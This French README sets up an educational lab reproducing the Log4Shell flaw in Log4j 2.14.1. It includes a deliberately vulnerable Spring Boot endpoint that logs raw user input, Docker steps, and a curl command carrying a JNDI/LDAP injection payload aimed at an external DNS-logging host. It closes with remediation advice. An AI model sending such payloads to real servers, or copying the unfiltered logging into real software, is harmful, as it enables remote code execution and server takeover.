🔓 Démonstration de la vulnérabilité Log4Shell (CVE-2021-44228)

Ce projet est un environnement de test contrôlé permettant de reproduire et comprendre la faille critique Log4Shell (CVE-2021-44228) affectant la bibliothèque Apache Log4j.

📁 Architecture du projet

Secutp1/
├── Dockerfile                           # Construction de l'image Docker
├── pom.xml                              # Dépendances Maven (Log4j 2.14.1 vulnérable)
├── README.md                            # Ce fichier
└── src/
    └── main/
        └── java/
            └── com/
                └── example/
                    └── VulnerableApplication.java   # Application Spring Boot vulnérable

🎯 Objectif

Démontrer comment un attaquant peut exploiter la faille CVE-2021-44228 pour forcer un serveur à effectuer une connexion réseau sortante non autorisée, simplement en envoyant une chaîne de caractères malveillante.

🔍 Analyse du code vulnérable

1. Gestion des dépendances (pom.xml)

Le fichier pom.xml force l'utilisation de Log4j 2.14.1, une version antérieure au correctif de sécurité :

<log4j2.version>2.14.1</log4j2.version>

Cette version contient la classe JndiLookup activée par défaut, qui est la racine du problème.

2. Application Java (VulnerableApplication.java)

L'application expose un service web REST. La vulnérabilité se situe dans la méthode index :

@GetMapping("/")
public String index(@RequestParam(name = "input", required = false, defaultValue = "test") String input) {
    // LA LIGNE VULNÉRABLE :
    logger.info("Requête reçue, input : " + input);
    return "Bonjour ! Votre input a été loggé : " + input;
}

Problème : L'application récupère un paramètre utilisateur (input) et le passe directement à logger.info() sans aucun filtrage. Log4j interprète alors le contenu comme une commande potentielle.

3. Infrastructure Docker (Dockerfile)

Le Dockerfile utilise une construction en deux étapes :

• Étape 1 : Compilation avec Maven (maven:3.8.4-openjdk-11)
• Étape 2 : Exécution avec eclipse-temurin:11-jre

💡 L'utilisation de Java 11 est pertinente car les versions plus récentes restreignent par défaut le chargement de classes distantes.

⚙️ Mécanisme de l'attaque

L'exploitation repose sur l'injection JNDI (Java Naming and Directory Interface) :

1. Log4j détecte la syntaxe ${jndi:protocole://url} dans les logs
2. Il tente dynamiquement de se connecter à l'URL spécifiée
3. Dans un scénario réel, cela permet de télécharger et exécuter une classe Java malveillante (RCE)

🧪 Procédure d'exploitation étape par étape

Étape 1 : Préparation

Assurez-vous que les fichiers suivants sont dans le même dossier :

• Dockerfile
• pom.xml
• src/main/java/com/example/VulnerableApplication.java

Étape 2 : Construction de l'image Docker

docker build -t vulnerable-app .

Cette commande télécharge les dépendances Maven (Log4j 2.14.1) et crée l'image.

Étape 3 : Lancement du conteneur

docker run -p 8080:8080 --name demo-log4j vulnerable-app

L'application écoute maintenant sur le port 8080.

Étape 4 : Préparation du témoin (Listener)

1. Rendez-vous sur un service de logging DNS :

   • dnslog.cn
   • dnslog.org
   • Burp Collaborator

2. Copiez l'adresse fournie (ex: mon-test.dnslog.cn)

Étape 5 : Injection du payload

Dans un nouveau terminal, lancez la commande suivante :

curl "http://localhost:8080/?input=\${jndi:ldap://mon-test.dnslog.cn/a}"

📝 Note : Le caractère \ sert à échapper le $ dans le terminal.

Étape 6 : Vérification

Retournez sur le site dnslog. Vous verrez une requête DNS apparaître, confirmant que le serveur a exécuté le code injecté.

📊 Résultat attendu

🚨 Conclusion

Le serveur a effectué une connexion sortante vers une machine externe simplement en loguant une requête utilisateur.

Dans un scénario réel, cette connexion aurait permis de :

• Télécharger une classe Java malveillante
• Exécuter du code arbitraire (RCE - Remote Code Execution)
• Prendre le contrôle total du serveur

🛡️ Remédiation

Pour corriger cette vulnérabilité :

1. Mettre à jour Log4j vers la version 2.17.1 ou supérieure
2. Désactiver les lookups JNDI : -Dlog4j2.formatMsgNoLookups=true
3. Supprimer la classe JndiLookup du classpath

📚 Références

• CVE-2021-44228 - NVD
• Apache Log4j Security Vulnerabilities
• ANSSI - Vulnérabilité Log4Shell

📜 Licence

Ce projet est fourni à des fins éducatives uniquement. Utilisez-le de manière responsable et éthique.